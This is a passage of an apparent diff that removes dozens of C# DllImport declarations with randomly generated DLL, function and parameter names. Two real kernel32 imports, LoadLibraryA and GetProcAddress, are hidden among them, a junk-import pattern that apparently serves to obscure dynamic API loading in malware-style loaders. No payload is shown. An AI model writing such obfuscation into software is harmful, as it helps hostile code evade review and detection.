SetLastError = true)] - public static extern byte[] UatCqXSSRWHzHlMxORUMkOscY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string zVtzvILZvwGQLoEWqKEtZij, - string[] hmXQXCPOehkcCQJtbdxafs, - char DYlZLmJIjRiUYyZkewtQl); - - [DllImport("nSfeuyBsShZKrtOqvJGoCbbD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LDyKbqMzJgbFHnHNVKpyzxDag( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MYzUyXpPpBuNvTDNTPbrHOQ, - string[] ZwrVXEKdlaGCCBGqwFVvuL, - char BEvUxcaIwRHxMWFFrsTco); - - [DllImport("nUatCqXSSRWHzHlMxORUMkOs.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RkPnGSGDwPMjTdjfrIJegpNuX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cYNhYPcmVVJuWsFTBSEIiWT, - string[] NfdzVtzvILZvwGQLoEWqKE, - char tZijhmXQXCPOehkcCQJtb); - - [DllImport("lLDyKbqMzJgbFHnHNVKpyzxD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dxafsDYlZLmJIjRiUYyZkewtQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string agnSfeuyBsShZKrtOqvJGoC, - string[] bbDMYzUyXpPpBuNvTDNTPb, - char rHOQZwrVXEKdlaGCCBGqw); - - [DllImport("oRkPnGSGDwPMjTdjfrIJegpN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FVvuLBEvUxcaIwRHxMWFFrsTc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uXnUatCqXSSRWHzHlMxORUM, - string[] kOscYNhYPcmVVJuWsFTBSE, - char IiWTNfdzVtzvILZvwGQLo); - - [DllImport("bdxafsDYlZLmJIjRiUYyZkew.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EWqKEtZijhmXQXCPOehkcCQJt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tQlLDyKbqMzJgbFHnHNVKpy, - string[] zxDagnSfeuyBsShZKrtOqv, - char JGoCbbDMYzUyXpPpBuNvT); - - [DllImport("wFVvuLBEvUxcaIwRHxMWFFrs.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DNTPbrHOQZwrVXEKdlaGCCBGq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TcoRkPnGSGDwPMjTdjfrIJe, - string[] gpNuXnUatCqXSSRWHzHlMx, - char ORUMkOscYNhYPcmVVJuWs); - - [DllImport("oEWqKEtZijhmXQXCPOehkcCQ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FTBSEIiWTNfdzVtzvILZvwGQL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JtbdxafsDYlZLmJIjRiUYyZ, - string[] kewtQlLDyKbqMzJgbFHnHN, - char VKpyzxDagnSfeuyBsShZK); - - [DllImport("TDNTPbrHOQZwrVXEKdlaGCCB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rtOqvJGoCbbDMYzUyXpPpBuNv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GqwFVvuLBEvUxcaIwRHxMWF, - string[] FrsTcoRkPnGSGDwPMjTdjf, - char rIJegpNuXnUatCqXSSRWH); - - [DllImport("sFTBSEIiWTNfdzVtzvILZvwG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zHlMxORUMkOscYNhYPcmVVJuW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QLoEWqKEtZijhmXQXCPOehk, - string[] cCQJtbdxafsDYlZLmJIjRi, - char UYyZkewtQlLDyKbqMzJgb); - - [DllImport("KrtOqvJGoCbbDMYzUyXpPpBu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FHnHNVKpyzxDagnSfeuyBsShZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NvTDNTPbrHOQZwrVXEKdlaG, - string[] CCBGqwFVvuLBEvUxcaIwRH, - char xMWFFrsTcoRkPnGSGDwPM); - - [DllImport("HzHlMxORUMkOscYNhYPcmVVJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jTdjfrIJegpNuXnUatCqXSSRW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uWsFTBSEIiWTNfdzVtzvILZ, - string[] vwGQLoEWqKEtZijhmXQXCP, - char OehkcCQJtbdxafsDYlZLm); - - [DllImport("bFHnHNVKpyzxDagnSfeuyBsS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JIjRiUYyZkewtQlLDyKbqMzJg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hZKrtOqvJGoCbbDMYzUyXpP, - string[] pBuNvTDNTPbrHOQZwrVXEK, - char dlaGCCBGqwFVvuLBEvUxc); - - [DllImport("MjTdjfrIJegpNuXnUatCqXSS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aIwRHxMWFFrsTcoRkPnGSGDwP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RWHzHlMxORUMkOscYNhYPcm, - string[] VVJuWsFTBSEIiWTNfdzVtz, - char vILZvwGQLoEWqKEtZijhm); - - [DllImport("mJIjRiUYyZkewtQlLDyKbqMz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] XQXCPOehkcCQJtbdxafsDYlZL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JgbFHnHNVKpyzxDagnSfeuy, - string[] BsShZKrtOqvJGoCbbDMYzU, - char yXpPpBuNvTDNTPbrHOQZw); - - [DllImport("caIwRHxMWFFrsTcoRkPnGSGD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rVXEKdlaGCCBGqwFVvuLBEvUx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wPMjTdjfrIJegpNuXnUatCq, - string[] XSSRWHzHlMxORUMkOscYNh, - char YPcmVVJuWsFTBSEIiWTNf); - - [DllImport("mXQXCPOehkcCQJtbdxafsDYl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dzVtzvILZvwGQLoEWqKEtZijh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZLmJIjRiUYyZkewtQlLDyKb, - string[] qMzJgbFHnHNVKpyzxDagnS, - char feuyBsShZKrtOqvJGoCbb); - - [DllImport("wrVXEKdlaGCCBGqwFVvuLBEv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DMYzUyXpPpBuNvTDNTPbrHOQZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string UxcaIwRHxMWFFrsTcoRkPnG, - string[] SGDwPMjTdjfrIJegpNuXnU, - char atCqXSSRWHzHlMxORUMkO); - - [DllImport("fdzVtzvILZvwGQLoEWqKEtZi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] scYNhYPcmVVJuWsFTBSEIiWTN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string jhmXQXCPOehkcCQJtbdxafs, - string[] DYlZLmJIjRiUYyZkewtQlL, - char DyKbqMzJgbFHnHNVKpyzx); - - [DllImport("bDMYzUyXpPpBuNvTDNTPbrHO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DagnSfeuyBsShZKrtOqvJGoCb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QZwrVXEKdlaGCCBGqwFVvuL, - string[] BEvUxcaIwRHxMWFFrsTcoR, - char kPnGSGDwPMjTdjfrIJegp); - - [DllImport("OscYNhYPcmVVJuWsFTBSEIiW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NuXnUatCqXSSRWHzHlMxORUMk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TNfdzVtzvILZvwGQLoEWqKE, - string[] tZijhmXQXCPOehkcCQJtbd, - char xafsDYlZLmJIjRiUYyZke); - - [DllImport("xDagnSfeuyBsShZKrtOqvJGo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wtQlLDyKbqMzJgbFHnHNVKpyz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CbbDMYzUyXpPpBuNvTDNTPb, - string[] rHOQZwrVXEKdlaGCCBGqwF, - char VvuLBEvUxcaIwRHxMWFFr); - - [DllImport("pNuXnUatCqXSSRWHzHlMxORU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sTcoRkPnGSGDwPMjTdjfrIJeg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MkOscYNhYPcmVVJuWsFTBSE, - string[] IiWTNfdzVtzvILZvwGQLoE, - char WqKEtZijhmXQXCPOehkcC); - - [DllImport("ewtQlLDyKbqMzJgbFHnHNVKp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QJtbdxafsDYlZLmJIjRiUYyZk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yzxDagnSfeuyBsShZKrtOqv, - string[] JGoCbbDMYzUyXpPpBuNvTD, - char NTPbrHOQZwrVXEKdlaGCC); - - [DllImport("rsTcoRkPnGSGDwPMjTdjfrIJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BGqwFVvuLBEvUxcaIwRHxMWFF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string egpNuXnUatCqXSSRWHzHlMx, - string[] ORUMkOscYNhYPcmVVJuWsF, - char TBSEIiWTNfdzVtzvILZvw); - - [DllImport("CQJtbdxafsDYlZLmJIjRiUYy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GQLoEWqKEtZijhmXQXCPOehkc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZkewtQlLDyKbqMzJgbFHnHN, - string[] VKpyzxDagnSfeuyBsShZKr, - char tOqvJGoCbbDMYzUyXpPpB); - - [DllImport("CBGqwFVvuLBEvUxcaIwRHxMW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] uNvTDNTPbrHOQZwrVXEKdlaGC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FFrsTcoRkPnGSGDwPMjTdjf, - string[] rIJegpNuXnUatCqXSSRWHz, - char HlMxORUMkOscYNhYPcmVV); - - [DllImport("wGQLoEWqKEtZijhmXQXCPOeh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JuWsFTBSEIiWTNfdzVtzvILZv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kcCQJtbdxafsDYlZLmJIjRi, - string[] UYyZkewtQlLDyKbqMzJgbF, - char HnHNVKpyzxDagnSfeuyBs); - - [DllImport("BuNvTDNTPbrHOQZwrVXEKdla.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ShZKrtOqvJGoCbbDMYzUyXpPp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GCCBGqwFVvuLBEvUxcaIwRH, - string[] xMWFFrsTcoRkPnGSGDwPMj, - char TdjfrIJegpNuXnUatCqXS); - - [DllImport("VJuWsFTBSEIiWTNfdzVtzvIL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SRWHzHlMxORUMkOscYNhYPcmV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZvwGQLoEWqKEtZijhmXQXCP, - string[] OehkcCQJtbdxafsDYlZLmJ, - char IjRiUYyZkewtQlLDyKbqM); - - [DllImport("sShZKrtOqvJGoCbbDMYzUyXp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zJgbFHnHNVKpyzxDagnSfeuyB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PpBuNvTDNTPbrHOQZwrVXEK, - string[] dlaGCCBGqwFVvuLBEvUxca, - char IwRHxMWFFrsTcoRkPnGSG); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("SSRWHzHlMxORUMkOscYNhYPc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DwPMjTdjfrIJegpNuXnUatCqX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mVVJuWsFTBSEIiWTNfdzVtz, - string[] vILZvwGQLoEWqKEtZijhmX, - char QXCPOehkcCQJtbdxafsDY); - - [DllImport("MzJgbFHnHNVKpyzxDagnSfeu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lZLmJIjRiUYyZkewtQlLDyKbq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yBsShZKrtOqvJGoCbbDMYzU, - string[] yXpPpBuNvTDNTPbrHOQZwr, - char VXEKdlaGCCBGqwFVvuLBE); - - [DllImport("GDwdawgrxtFWXstEbIlBhoHP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vUxcaIwRHxMWFFrsTcoRkPnGS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FkfgejUOVyaLbfiZybHqmav, - string[] lcqBjjWJjGThPgSWvkhbtq, - char NjIOKVZnJKUdYCSkFYSIn); - - [DllImport("mzmZBWVxfwimMmxrKHezYQNY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wwuzlelQccrvyqPeXHorMosHR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pEZNWuoSUBVaiYENNMQnuCg, - string[] ssJMPHfunXFIcFJXUDQppR, - char ZlOhNkDcDOIaKgQbgdoGU); - - [DllImport("RJiLpnWKfVMakTTGGhpDexdC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cdmLGikRXqyoUPQOTELSiKJZP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TfTRLdawgrxtFWXstEbIlBh, - string[] oHPFkfgejUOVyaLbfiZybH, - char qmavlcqBjjWJjGThPgSWv); - - [DllImport("nwwuzlelQccrvyqPeXHorMos.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] khbtqNjIOKVZnJKUdYCSkFYSI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HRmzmZBWVxfwimMmxrKHezY, - string[] QNYpEZNWuoSUBVaiYENNMQ, - char nuCgssJMPHfunXFIcFJXU); - - [DllImport("UcdmLGikRXqyoUPQOTELSiKJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DQppRZlOhNkDcDOIaKgQbgdoG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZPRJiLpnWKfVMakTTGGhpDe, - string[] xdCTfTRLdawgrxtFWXstEb, - char IlBhoHPFkfgejUOVyaLbf); - - [DllImport("vkhbtqNjIOKVZnJKUdYCSkFY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iZybHqmavlcqBjjWJjGThPgSW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SInwwuzlelQccrvyqPeXHor, - string[] MosHRmzmZBWVxfwimMmxrK, - char HezYQNYpEZNWuoSUBVaiY); - - [DllImport("UDQppRZlOhNkDcDOIaKgQbgd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ENNMQnuCgssJMPHfunXFIcFJX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oGUcdmLGikRXqyoUPQOTELS, - string[] iKJZPRJiLpnWKfVMakTTGG, - char hpDexdCTfTRLdawgrxtFW); - - [DllImport("fiZybHqmavlcqBjjWJjGThPg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] XstEbIlBhoHPFkfgejUOVyaLb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SWvkhbtqNjIOKVZnJKUdYCS, - string[] kFYSInwwuzlelQccrvyqPe, - char XHorMosHRmzmZBWVxfwim); - - [DllImport("YENNMQnuCgssJMPHfunXFIcF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MmxrKHezYQNYpEZNWuoSUBVai( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JXUDQppRZlOhNkDcDOIaKgQ, - string[] bgdoGUcdmLGikRXqyoUPQO, - char TELSiKJZPRJiLpnWKfVMa); - - [DllImport("WXstEbIlBhoHPFkfgejUOVya.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kTTGGhpDexdCTfTRLdawgrxtF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string LbfiZybHqmavlcqBjjWJjGT, - string[] hPgSWvkhbtqNjIOKVZnJKU, - char dYCSkFYSInwwuzlelQccr); - - [DllImport("mMmxrKHezYQNYpEZNWuoSUBV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vyqPeXHorMosHRmzmZBWVxfwi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aiYENNMQnuCgssJMPHfunXF, - string[] IcFJXUDQppRZlOhNkDcDOI, - char aKgQbgdoGUcdmLGikRXqy); - - [DllImport("akTTGGhpDexdCTfTRLdawgrx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oUPQOTELSiKJZPRJiLpnWKfVM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tFWXstEbIlBhoHPFkfgejUO, - string[] VyaLbfiZybHqmavlcqBjjW, - char JjGThPgSWvkhbtqNjIOKV); - - [DllImport("rvyqPeXHorMosHRmzmZBWVxf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZnJKUdYCSkFYSInwwuzlelQcc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wimMmxrKHezYQNYpEZNWuoS, - string[] UBVaiYENNMQnuCgssJMPHf, - char unXFIcFJXUDQppRZlOhNk); - - [DllImport("yoUPQOTELSiKJZPRJiLpnWKf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DcDOIaKgQbgdoGUcdmLGikRXq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VMakTTGGhpDexdCTfTRLdaw, - string[] grxtFWXstEbIlBhoHPFkfg, - char ejUOVyaLbfiZybHqmavlc); - - [DllImport("VZnJKUdYCSkFYSInwwuzlelQ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qBjjWJjGThPgSWvkhbtqNjIOK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ccrvyqPeXHorMosHRmzmZBW, - string[] VxfwimMmxrKHezYQNYpEZN, - char WuoSUBVaiYENNMQnuCgss); - - [DllImport("kDcDOIaKgQbgdoGUcdmLGikR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JMPHfunXFIcFJXUDQppRZlOhN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XqyoUPQOTELSiKJZPRJiLpn, - string[] WKfVMakTTGGhpDexdCTfTR, - char LdawgrxtFWXstEbIlBhoH); - - [DllImport("cqBjjWJjGThPgSWvkhbtqNjI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PFkfgejUOVyaLbfiZybHqmavl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OKVZnJKUdYCSkFYSInwwuzl, - string[] elQccrvyqPeXHorMosHRmz, - char mZBWVxfwimMmxrKHezYQN); - - [DllImport("sJMPHfunXFIcFJXUDQppRZlO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YpEZNWuoSUBVaiYENNMQnuCgs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hNkDcDOIaKgQbgdoGUcdmLG, - string[] ikRXqyoUPQOTELSiKJZPRJ, - char iLpnWKfVMakTTGGhpDexd); - - [DllImport("HPFkfgejUOVyaLbfiZybHqma.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CTfTRLdawgrxtFWXstEbIlBho( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vlcqBjjWJjGThPgSWvkhbtq, - string[] NjIOKVZnJKUdYCSkFYSInw, - char wuzlelQccrvyqPeXHorMo); - - [DllImport("NYpEZNWuoSUBVaiYENNMQnuC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sHRmzmZBWVxfwimMmxrKHezYQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gssJMPHfunXFIcFJXUDQppR, - string[] ZlOhNkDcDOIaKgQbgdoGUc, - char dmLGikRXqyoUPQOTELSiK); - - [DllImport("dCTfTRLdawgrxtFWXstEbIlB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JZPRJiLpnWKfVMakTTGGhpDex( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hoHPFkfgejUOVyaLbfiZybH, - string[] qmavlcqBjjWJjGThPgSWvk, - char hbtqNjIOKVZnJKUdYCSkF); - - [DllImport("osHRmzmZBWVxfwimMmxrKHez.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YSInwwuzlelQccrvyqPeXHorM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YQNYpEZNWuoSUBVaiYENNMQ, - string[] nuCgssJMPHfunXFIcFJXUD, - char QppRZlOhNkDcDOIaKgQbg); - - [DllImport("KJZPRJiLpnWKfVMakTTGGhpD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] doGUcdmLGikRXqyoUPQOTELSi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string exdCTfTRLdawgrxtFWXstEb, - string[] IlBhoHPFkfgejUOVyaLbfi, - char ZybHqmavlcqBjjWJjGThP); - - [DllImport("FYSInwwuzlelQccrvyqPeXHo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gSWvkhbtqNjIOKVZnJKUdYCSk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rMosHRmzmZBWVxfwimMmxrK, - string[] HezYQNYpEZNWuoSUBVaiYE, - char NNMQnuCgssJMPHfunXFIc); - - [DllImport("gdoGUcdmLGikRXqyoUPQOTEL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FJXUDQppRZlOhNkDcDOIaKgQb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SiKJZPRJiLpnWKfVMakTTGG, - string[] hpDexdCTfTRLdawgrxtFWX, - char stEbIlBhoHPFkfgejUOVy); - - [DllImport("PgSWvkhbtqNjIOKVZnJKUdYC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aLbfiZybHqmavlcqBjjWJjGTh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SkFYSInwwuzlelQccrvyqPe, - string[] XHorMosHRmzmZBWVxfwimM, - char mxrKHezYQNYpEZNWuoSUB); - - [DllImport("cFJXUDQppRZlOhNkDcDOIaKg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VaiYENNMQnuCgssJMPHfunXFI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QbgdoGUcdmLGikRXqyoUPQO, - string[] TELSiKJZPRJiLpnWKfVMak, - char TTGGhpDexdCTfTRLdawgr); - - [DllImport("yaLbfiZybHqmavlcqBjjWJjG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xtFWXstEbIlBhoHPFkfgejUOV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ThPgSWvkhbtqNjIOKVZnJKU, - string[] dYCSkFYSInwwuzlelQccrv, - char yqPeXHorMosHRmzmZBWVx); - - [DllImport("BVaiYENNMQnuCgssJMPHfunX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fwimMmxrKHezYQNYpEZNWuoSU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FIcFJXUDQppRZlOhNkDcDOI, - string[] aKgQbgdoGUcdmLGikRXqyo, - char UPQOTELSiKJZPRJiLpnWK); - - [DllImport("rxtFWXstEbIlBhoHPFkfgejU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fVMakTTGGhpDexdCTfTRLdawg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OVyaLbfiZybHqmavlcqBjjW, - string[] JjGThPgSWvkhbtqNjIOKVZ, - char nJKUdYCSkFYSInwwuzlel); - - [DllImport("xfwimMmxrKHezYQNYpEZNWuo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QccrvyqPeXHorMosHRmzmZBWV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SUBVaiYENNMQnuCgssJMPHf, - string[] unXFIcFJXUDQppRZlOhNkD, - char cDOIaKgQbgdoGUcdmLGik); - - [DllImport("KfVMakTTGGhpDexdCTfTRLda.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RXqyoUPQOTELSiKJZPRJiLpnW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wgrxtFWXstEbIlBhoHPFkfg, - string[] ejUOVyaLbfiZybHqmavlcq, - char BjjWJjGThPgSWvkhbtqNj); - - [DllImport("lQccrvyqPeXHorMosHRmzmZB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IOKVZnJKUdYCSkFYSInwwuzle( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WVxfwimMmxrKHezYQNYpEZN, - string[] WuoSUBVaiYENNMQnuCgssJ, - char MPHfunXFIcFJXUDQppRZl); - - [DllImport("kRXqyoUPQOTELSiKJZPRJiLp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OhNkDcDOIaKgQbgdoGUcdmLGi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nWKfVMakTTGGhpDexdCTfTR, - string[] LdawgrxtFWXstEbIlBhoHP, - char FkfgejUOVyaLbfiZybHqm); - - [DllImport("jIOKVZnJKUdYCSkFYSInwwuz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] avlcqBjjWJjGThPgSWvkhbtqN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lelQccrvyqPeXHorMosHRmz, - string[] mZBWVxfwimMmxrKHezYQNY, - char pEZNWuoSUBVaiYENNMQnu); - - [DllImport("lOhNkDcDOIaKgQbgdoGUcdmL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CgssJMPHfunXFIcFJXUDQppRZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GikRXqyoUPQOTELSiKJZPRJ, - string[] iLpnWKfVMakTTGGhpDexdC, - char TfTRLdawgrxtFWXstEbIl); - - [DllImport("mavlcqBjjWJjGThPgSWvkhbt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BhoHPFkfgejUOVyaLbfiZybHq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qNjIOKVZnJKUdYCSkFYSInw, - string[] wuzlelQccrvyqPeXHorMos, - char HRmzmZBWVxfwimMmxrKHe); - - [DllImport("uCgssJMPHfunXFIcFJXUDQpp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zYQNYpEZNWuoSUBVaiYENNMQn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RZlOhNkDcDOIaKgQbgdoGUc, - string[] dmLGikRXqyoUPQOTELSiKJ, - char ZPRJiLpnWKfVMakTTGGhp); - - [DllImport("lBhoHPFkfgejUOVyaLbfiZyb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DexdCTfTRLdawgrxtFWXstEbI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HqmavlcqBjjWJjGThPgSWvk, - string[] hbtqNjIOKVZnJKUdYCSkFY, - char SInwwuzlelQccrvyqPeXH); - - [DllImport("ezYQNYpEZNWuoSUBVaiYENNM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] orMosHRmzmZBWVxfwimMmxrKH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QnuCgssJMPHfunXFIcFJXUD, - string[] QppRZlOhNkDcDOIaKgQbgd, - char oGUcdmLGikRXqyoUPQOTE); - - [DllImport("pDexdCTfTRLdawgrxtFWXstE.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LSiKJZPRJiLpnWKfVMakTTGGh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bIlBhoHPFkfgejUOVyaLbfi, - string[] ZybHqmavlcqBjjWJjGThPg, - char SWvkhbtqNjIOKVZnJKUdY); - - [DllImport("HorMosHRmzmZBWVxfwimMmxr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CSkFYSInwwuzlelQccrvyqPeX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KHezYQNYpEZNWuoSUBVaiYE, - string[] NNMQnuCgssJMPHfunXFIcF, - char JXUDQppRZlOhNkDcDOIaK); - - [DllImport("ELSiKJZPRJiLpnWKfVMakTTG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gQbgdoGUcdmLGikRXqyoUPQOT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GhpDexdCTfTRLdawgrxtFWX, - string[] stEbIlBhoHPFkfgejUOVya, - char LbfiZybHqmavlcqBjjWJj); - - [DllImport("YCSkFYSInwwuzyrydqpGKMEd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GThPgSWvkhbtqNjIOKVZnJKUd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string skVDFZCHUfzNBmOkjLsKvza, - string[] BMGYVrOmeamDSnbkIDgiPi, - char owlRabZeCIQtHGWacUtJB); - - [DllImport("XueouqDTiprBYTwyflFNChdd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] 